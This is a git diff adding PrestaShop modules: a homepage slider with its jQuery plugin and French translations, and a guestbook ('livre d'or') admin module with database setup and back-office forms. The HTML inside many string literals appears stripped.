+if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
          ');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
          ');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/modules/devspehomeblocks/logo.gif b/modules/devspehomeblocks/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspehomeblocks/logo.gif differ diff --git a/modules/devspehomeblocks/logo.png b/modules/devspehomeblocks/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspehomeblocks/logo.png differ diff --git a/modules/devspehomeblocks/translations/en.php b/modules/devspehomeblocks/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspehomeblocks/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspehomeblocks/translations/index.php b/modules/devspehomeblocks/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspehomeblocks/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspehomeblocks/upgrade/install-1.2.1.php b/modules/devspehomeblocks/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/devspehomeblocks/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/devspelivredor/ajax_devspelivredor.php b/modules/devspelivredor/ajax_devspelivredor.php new file mode 100755 index 0000000..82a5a70 --- /dev/null +++ b/modules/devspelivredor/ajax_devspelivredor.php @@ -0,0 +1,70 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('devspelivredor.php'); + +$context = Context::getContext(); +$home_livredorr = new devspelivredor(); +$livredors = array(); + +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_livredorr->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updatelivredorsPosition' && Tools::getValue('livredors')) +{ + + $livredors = Tools::getValue('livredors'); + + foreach ($livredors as $position => $id_livredor) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspelivredor_item` SET `position` = '.(int)$position.' + WHERE `id_livredor_item` = '.(int)$id_livredor + ); + + } + + $home_livredorr->clearCache(); +} +if (Tools::getValue('action') == 'updatelivredorsThemePosition' && Tools::getValue('livredors')) +{ + + $livredors = Tools::getValue('livredors'); + + foreach ($livredors as $position => $id_livredor) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspelivredor_theme` SET `position` = '.(int)$position.' + WHERE `id_livredor_theme` = '.(int)$id_livredor + ); + + } + + $home_livredorr->clearCache(); +} + + diff --git a/modules/devspelivredor/devspelivredor.php b/modules/devspelivredor/devspelivredor.php new file mode 100755 index 0000000..7f77dd2 --- /dev/null +++ b/modules/devspelivredor/devspelivredor.php @@ -0,0 +1,1160 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspelivredor/livredorItem.php'); +include_once(_PS_MODULE_DIR_.'devspelivredor/livredorTheme.php'); + +class devspeLivredor extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'devspelivredor'; + + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion de la livre d\'or'); + $this->description = $this->l('Administrer la livre d\'or'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('top') && $this->registerHook('actionShopDataDuplication')) + { + $res = $this->createTables(); + + return $res; + } + return false; + } + + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('devspelivredor_WIDTH'); + // $res &= Configuration::deleteByName('devspelivredor_HEIGHT'); + // $res &= Configuration::deleteByName('devspelivredor_SPEED'); + // $res &= Configuration::deleteByName('devspelivredor_PAUSE'); + // $res &= Configuration::deleteByName('devspelivredor_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* livredors */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspelivredor` ( + `id_livredor_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_livredor_item`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* livredors configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspelivredor_item` ( + `id_livredor_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_theme` int(11) unsigned NOT NULL DEFAULT \'0\', + `age` int(11) unsigned NOT NULL DEFAULT \'0\', + `note` int(11) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + `en_avant` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_livredor_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* livredors lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspelivredor_item_lang` ( + `id_livredor_item` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `prenom` varchar(255) NOT NULL, + `nom` varchar(255) NOT NULL, + `departement` varchar(255) NOT NULL, + `ville` varchar(255) NOT NULL, + `titre` varchar(255) NOT NULL, + `phrase` text NOT NULL, + + PRIMARY KEY (`id_livredor_item`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* livredors configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspelivredor_theme` ( + `id_livredor_theme` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_livredor_parent` int(10) unsigned NOT NULL, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_livredor_theme`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* livredors lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspelivredor_theme_lang` ( + `id_livredor_theme` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + + PRIMARY KEY (`id_livredor_theme`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $livredors = $this->getItemslivredor(); + foreach ($livredors as $livredor) + { + $to_del = new livredorItem($livredor['id_livredor']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspelivredor`, + `'._DB_PREFIX_.'devspelivredor_item`, + `'._DB_PREFIX_.'devspelivredor_item_lang`, + `'._DB_PREFIX_.'devspelivredor_theme`, + `'._DB_PREFIX_.'devspelivredor_theme_lang`; + '); + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

          '.$this->displayName.'.

          '; + + /* Validate & process */ + if (Tools::isSubmit('submitlivredor') || Tools::isSubmit('delete_id_livredor') || + Tools::isSubmit('submittheme') || Tools::isSubmit('delete_id_theme') || + Tools::isSubmit('changeStatus') || + Tools::isSubmit('changeStatusEnavant')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('addlivredor') || (Tools::isSubmit('id_livredor') && $this->livredorExists((int)Tools::getValue('id_livredor')))) + $this->_displayAddItemForm(); + elseif (Tools::isSubmit('addtheme') || (Tools::isSubmit('id_theme') && $this->livredorThemeExists((int)Tools::getValue('id_theme')))) + $this->_displayAddThemeForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* THEME livredor */ + + $livredors = $this->getItemsTheme(); + + $this->_html .= '

          '; + + /* Begin fieldset livredors */ + $this->_html .= ' +
          + '.$this->l('Gestion des thèmes').' + + + '.$this->l('Ajouter un thème').' + + '; + + /* Display notice if there are no livredors yet */ + if (!$livredors) + $this->_html .= '

          '.$this->l('Aucun thème créé').'

          '; + else /* Display livredors */ + { + $this->_html .= ' +
          +
            '; + foreach ($livredors as $livredor) + { + $this->_html .= ' +
          • '; + if($livredor['id_livredor_parent']==0) + $this->_html .= 'Thème '.$livredor['id_theme'].' : '.$livredor['title'].""; + else + $this->_html .= 'Thème '.$livredor['id_livredor_parent'].' > Thème '.$livredor['id_theme'].' : '.$livredor['title']; + + $this->_html .= ' +

            '. + $this->displayStatus($livredor['id_theme'], $livredor['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + + + + /* ITEMS livredor */ + + /* Gets livredors */ + $livredors = $this->getItemslivredor(); + + $this->_html .= '

          '; + + /* Begin fieldset livredors */ + $this->_html .= ' +
          + '.$this->l('Gestion des messages du livre d\'or').' + + + '.$this->l('Ajouter un message').' + + '; + + /* Display notice if there are no livredors yet */ + if (!$livredors) + $this->_html .= '

          '.$this->l('Aucun message créé').'

          '; + else /* Display livredors */ + { + $this->_html .= ' +
          +
            '; + foreach ($livredors as $livredor) + { + $this->_html .= ' +
          • + Thème '.$livredor['id_theme'].' : '.$livredor['titre'].' - '.$livredor['prenom'].' '.$livredor['nom'].' - Note : '.$livredor['note'].' +

            '. + $this->displayStatus($livredor['id_livredor'], $livredor['active']). + $this->displayStatusEnavant($livredor['id_livredor'], $livredor['en_avant']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + + private function _displayAddItemForm() + { + /* Sets livredor : depends if edited or added */ + $livredor = null; + if (Tools::isSubmit('id_livredor') && $this->livredorExists((int)Tools::getValue('id_livredor'))) + $livredor = new livredorItem((int)Tools::getValue('id_livredor')); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'ville¤titre¤nom¤prenom¤departement¤phrase'; + + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset Upload */ + // $this->_html .= ' + //
          + // 1 - '.$this->l('Téléchargez votre image').''; + // /* Image */ + // $this->_html .= '
          '; + // foreach ($languages as $language) + // { + // $this->_html .= '
          '; + // $this->_html .= ''; + // /* Sets image as hidden in case it does not change */ + // if ($livredor && $livredor->image[$language['id_lang']]) + // $this->_html .= ''; + // /* Display image */ + // if ($livredor && $livredor->image[$language['id_lang']]) + // $this->_html .= ''; + // $this->_html .= '
          '; + // } + // $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + // /* End Fieldset Upload */ + // $this->_html .= '


          '; + + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::isSubmit('addlivredor')) /* Configure legend */ + $this->_html .= ' 1 - '.$this->l('Ajouter un message dans le livre d\'or').''; + elseif (Tools::isSubmit('id_livredor')) /* Edit legend */ + $this->_html .= '1 - '.$this->l('Modifier le message').''; + + $themes=$this->getItemsTheme(null); + // print_r($themes); + $les_themes=''; + + /* theme parent */ + $this->_html .= '
          '; + $this->_html .= '
          '.$les_themes.'
          '; + $this->_html .= '


          '; + + + /* titre */ + $this->_html .= '
          '; + $this->_html .= ' +
          + + note) && $livredor->note==1 ? 'checked="checked"' : '').'>1 + note) && $livredor->note==2 ? 'checked="checked"' : '').'>2 + note) && $livredor->note==3 ? 'checked="checked"' : '').'>3 + note) && $livredor->note==4 ? 'checked="checked"' : '').'>4 + note) && $livredor->note==5 ? 'checked="checked"' : '').'>5 + + +
          '; + $this->_html .= '


          '; + + /* titre */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titre', true); + $this->_html .= '


          '; + + + /* phrase */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'phrase', true); + $this->_html .= '

          '; + + + + + $this->_html .= '
          '; + + + + + /* Form content */ + + + /* Form content */ + + $this->_html .= '

          '; + $this->_html .= ' 2 - '.$this->l('Informations personnelles').''; + + /* Sets id livredor as hidden */ + if ($livredor && Tools::getValue('id_livredor')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + + /* Prenom */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'prenom', true); + $this->_html .= '


          '; + + /* nom */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'nom', true); + $this->_html .= '


          '; + + /* Age */ + $this->_html .= '
          '; + $this->_html .= ' +
          + +
          '; + $this->_html .= '


          '; + + /* Département */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'departement', true); + $this->_html .= '


          '; + + /* ville */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'ville', true); + $this->_html .= '


          '; + + + $this->_html .= '
          '; + + + + + /* Form content */ + + /* Form content */ + + $this->_html .= '

          '; + $this->_html .= ' 3 - '.$this->l('Sauvegarder').''; + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$livredor->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$livredor->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + /* Active */ + $this->_html .= ' + +
          + Yes + en_avant) && (int)$livredor->en_avant == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + en_avant) && (int)$livredor->en_avant == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoire').'

          +
          +
          '; + } + private function _displayAddThemeForm() + { + /* Sets livredor : depends if edited or added */ + $livredor = null; + if (Tools::isSubmit('id_theme') && $this->livredorThemeExists((int)Tools::getValue('id_theme'))) + $livredor = new livredorTheme((int)Tools::getValue('id_theme')); + // print_r($livredor); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'title'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::getValue('addtheme')) /* Configure legend */ + $this->_html .= ' '.$this->l('Ajouter un thème').''; + elseif (Tools::getValue('id_theme')) /* Edit legend */ + $this->_html .= ' '.$this->l('Modifier le thème').''; + /* Sets id livredor as hidden */ + $id_livredor=0; + if ($livredor && Tools::getValue('id_theme')){ + $id_livredor=$livredor->id; + $this->_html .= ''; + } + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + + $themes=$this->getItemsTheme(null,true); + // print_r($themes); + $les_themes=''; + + /* theme parent */ + $this->_html .= '

          '; + $this->_html .= '
          '.$les_themes.'
          '; + $this->_html .= '


          '; + /* Form content */ + + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


          '; + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$livredor->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$livredor->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoire').'

          +
          +
